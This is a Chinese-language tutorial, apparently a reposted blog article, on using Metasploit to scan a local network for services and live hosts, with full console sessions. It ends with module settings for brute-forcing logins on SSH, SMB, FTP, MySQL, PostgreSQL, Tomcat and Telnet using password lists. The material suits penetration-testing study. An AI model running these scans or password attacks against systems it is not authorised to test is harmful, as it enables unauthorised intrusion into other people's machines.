Metasploit 服务扫描与爆破
MSF 服务发现
常用来发现局域网内,的常见服务,比如HTTP,FTP,TELNET等.
MSF模块搜索:
[root@localhost ~]# msfconsole
msf5 > search scanner type:auxiliary
msf5 > search scanner/http type:auxiliary // 搜索所有与HTTP相关的模块
发现HTTP服务: 基于scanner/http/http_version发现HTTP服务.
msf5 > use scanner/http/http_version
msf5 auxiliary(scanner/http/http_version) > show options
Module options (auxiliary/scanner/http/http_version):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/http/http_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/http/http_version) > set rport 80
rport => 80
msf5 auxiliary(scanner/http/http_version) > exploit
[+] 192.168.1.7:80 Apache/2.4.6 (CentOS) PHP/5.4.16 ( Powered by PHP/5.4.16, 302-login.php )
[+] 192.168.1.3:80 Apache/2.5.0 (CentOS) PHP/7.0.0 ( Powered by PHP/7.0.0, 302-admin.php )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
发现SMB服务: 基于scanner/smb/smb_version发现SMB服务.
msf5 > use scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 10 yes The number of concurrent threads
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/smb/smb_version) > set threads 10
threads => 10
msf5 auxiliary(scanner/smb/smb_version) > exploit
[+] 192.168.1.2:445 - Host is running Windows 10 China (name:lyshark) (workgroup:lyshark)
[*] 192.168.1.7:445 - Host could not be identified: Windows 6.1 (Samba 4.8.3)
[*] 192.168.1.0/24:445 - Scanned 26 of 256 hosts (10% complete)
[*] 192.168.1.0/24:445 - Caught interrupt from the console...
[*] Auxiliary module execution completed
发现FTP服务: 基于scanner/ftp/ftp_version发现FTP服务
msf5 > use scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
Module options (auxiliary/scanner/ftp/ftp_version):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
THREADS 10 yes The number of concurrent threads
msf5 auxiliary(scanner/ftp/ftp_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/ftp/ftp_version) > set threads 10
threads => 10
msf5 auxiliary(scanner/ftp/ftp_version) > exploit
[+] 192.168.1.7:21 - FTP Banner: '220 (vsFTPd 3.0.2)\x0d\x0a'
[*] 192.168.1.0/24:21 - Scanned 32 of 256 hosts (12% complete)
[*] 192.168.1.0/24:21 - Caught interrupt from the console...
[*] Auxiliary module execution completed
发现SSH服务: 基于auxiliary/scanner/ssh/ssh_version发现SSH服务
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 22 yes The target port (TCP)
THREADS 10 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
msf5 auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/ssh/ssh_version) > set threads 10
threads => 10
msf5 auxiliary(scanner/ssh/ssh_version) > exploit
[+] 192.168.1.7:22 - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.4 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.1.0/24:22 - Caught interrupt from the console...
[*] Auxiliary module execution completed
发现Telnet服务: 基于auxiliary/scanner/telnet/telnet_version发现TELNET服务
msf5 > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 23 yes The target port (TCP)
THREADS 10 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe
USERNAME no The username to authenticate as
msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/telnet/telnet_version) > set threads 10
threads => 10
msf5 auxiliary(scanner/telnet/telnet_version) > exploit
[-] 192.168.1.1:23 - A network issue has occurred: The connection was refused by the remote host (192.168.1.1:23).
[-] 192.168.1.7:23 - A network issue has occurred: The connection was refused by the remote host (192.168.1.7:23).
[-] 192.168.1.0:23 - A network issue has occurred: The host (192.168.1.0:23) was unreachable.
[-] 192.168.1.10:23 - A network issue has occurred: The connection was refused by the remote host (192.168.1.10:23).
[-] 192.168.1.3:23 - A network issue has occurred: The connection was refused by the remote host (192.168.1.3:23).
[-] 192.168.1.5:23 - A network issue has occurred: The host (192.168.1.5:23) was unreachable.
[*] 192.168.1.0/24:23 - Caught interrupt from the console...
[*] Auxiliary module execution completed
发现MySQL服务: 基于auxiliary/scanner/mysql/mysql_version发现mysql服务
msf5 > use auxiliary/scanner/mysql/mysql_version
msf5 auxiliary(scanner/mysql/mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.7 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
msf5 auxiliary(scanner/mysql/mysql_version) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf5 auxiliary(scanner/mysql/mysql_version) > set rport 3306
rport => 3306
msf5 auxiliary(scanner/mysql/mysql_version) > exploit
[*] 192.168.1.7:3306 - 192.168.1.7:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.7' is not allowed to connect to this MariaDB server
[*] 192.168.1.7:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
发现MSSQL服务: 基于auxiliary/scanner/mssql/mssql_ping发现SQL Server服务
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > show options
Module options (auxiliary/scanner/mssql/mssql_ping):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
THREADS 10 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
msf5 auxiliary(scanner/mssql/mssql_ping) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/mssql/mssql_ping) > set threads 10
threads => 10
msf5 auxiliary(scanner/mssql/mssql_ping) > run
发现Oracle服务: 基于auxiliary/scanner/oracle/tnslsnr_version发现Oracle服务
msf5 > use auxiliary/scanner/oracle/tnslsnr_version
msf5 auxiliary(scanner/oracle/tnslsnr_version) > show options
Module options (auxiliary/scanner/oracle/tnslsnr_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 1521 yes The target port (TCP)
THREADS 10 yes The number of concurrent threads
msf5 auxiliary(scanner/oracle/tnslsnr_version) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/oracle/tnslsnr_version) > set threads 10
threads => 10
msf5 auxiliary(scanner/oracle/tnslsnr_version) > run
## MSF 主机的发现
MSF提供了一些辅助模块,可以实现主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中,主要有以下几个arp_sweep,ipv6_multicast_ping,ipv6_neighbor,ipv6_neighbor_router_advertisement,udp_probe,udp_sweep,接下来主要看常用的几个模块的使用技巧.
ARP发现内网主机: 基于scanner/discovery/arp_sweep发现内网存活主机.
msf5 > use scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > show options
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 10 yes The number of concurrent threads
TIMEOUT 5 yes The number of seconds to wait for new data
msf5 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set threads 10
threads => 10
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
[+] 192.168.1.1 appears to be up (UNKNOWN).
[+] 192.168.1.2 appears to be up (UNKNOWN).
[+] 192.168.1.2 appears to be up (UNKNOWN).
[+] 192.168.1.1 appears to be up (UNKNOWN).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
UDP发现内网主机: 基于scanner/discovery/udp_sweep发现内网存活主机.
msf5 > use scanner/discovery/udp_sweep
msf5 auxiliary(scanner/discovery/udp_sweep) > show options
Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
THREADS 10 yes The number of concurrent threads
msf5 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.1.0/24
rhosts => 192.168.1.0/24
msf5 auxiliary(scanner/discovery/udp_sweep) > exploit
[*] Sending 13 probes to 192.168.1.0->192.168.1.255 (256 hosts)
[*] Discovered NetBIOS on 192.168.1.2:137 (lyshark:<20>:U :lysahrk:<00>:U :lyshark:<00>:G :WORKGROUP:<1e>:G :WORKGROUP:<1d>:U :__MSBROWSE__:<01>:G :a4:be:c8:fe:ac:z4)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
ACK发现内网主机: 基于auxiliary/scanner/portscan/ack扫描内网存活主机.
msf5 > use auxiliary/scanner/portscan/ack
msf5 auxiliary(scanner/portscan/ack) > show options
Module options (auxiliary/scanner/portscan/ack):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.1.7 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf5 auxiliary(scanner/portscan/ack) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf5 auxiliary(scanner/portscan/ack) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/ack) > exploit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SYN发现内网主机: 基于auxiliary/scanner/portscan/syn扫描内网存活主机.
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-1024 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.1.7 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf5 auxiliary(scanner/portscan/syn) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf5 auxiliary(scanner/portscan/syn) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/syn) > run
TCP发现内网主机: 基于auxiliary/scanner/portscan/tcp扫描内网存活主机.
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.1.7 yes The target address range or CIDR identifier
THREADS 10 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.1.7: - 192.168.1.7:21 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:22 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:80 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:139 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:445 - TCP OPEN
[*] 192.168.1.7: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
### MSF 服务爆破
对于发现的服务,下一个目标就是尝试爆破其登陆密码,爆破是否能够成功,这里需要有一个社工好了的字典,这里只是演示几个服务爆破的使用方法,这里只演示爆破的配置,爆破时间过长,不做具体实验.
SSH口令爆破:
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.7
set username root
set pass_file /root/pass.txt
set threads 10
exploit
Samba口令爆破:
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.1.7
set user_file /root/user.txt
set pass_file /root/pass.txt
set threads 10
exploit
FTP口令爆破:
use scanner/ftp/ftp_login
set rhosts 192.168.1.7
set user_file /root/user.txt
set pass_file /root/pass.txt
set threads 10
exploit
MySQL口令爆破:
search mysql
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.1.7
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit
Postgresql口令爆破:
use auxiliary/scanner/postgres/postgres_login
set rhosts 192.168.1.7
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit
Tomcat口令爆破:
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.1.7
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit
Telnet口令爆破:
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.1.7
set username administrator
set pass_file /root/pass.txt
exploit
文章出处：https://www.cnblogs.com/LyShark/p/10565941.html
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本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
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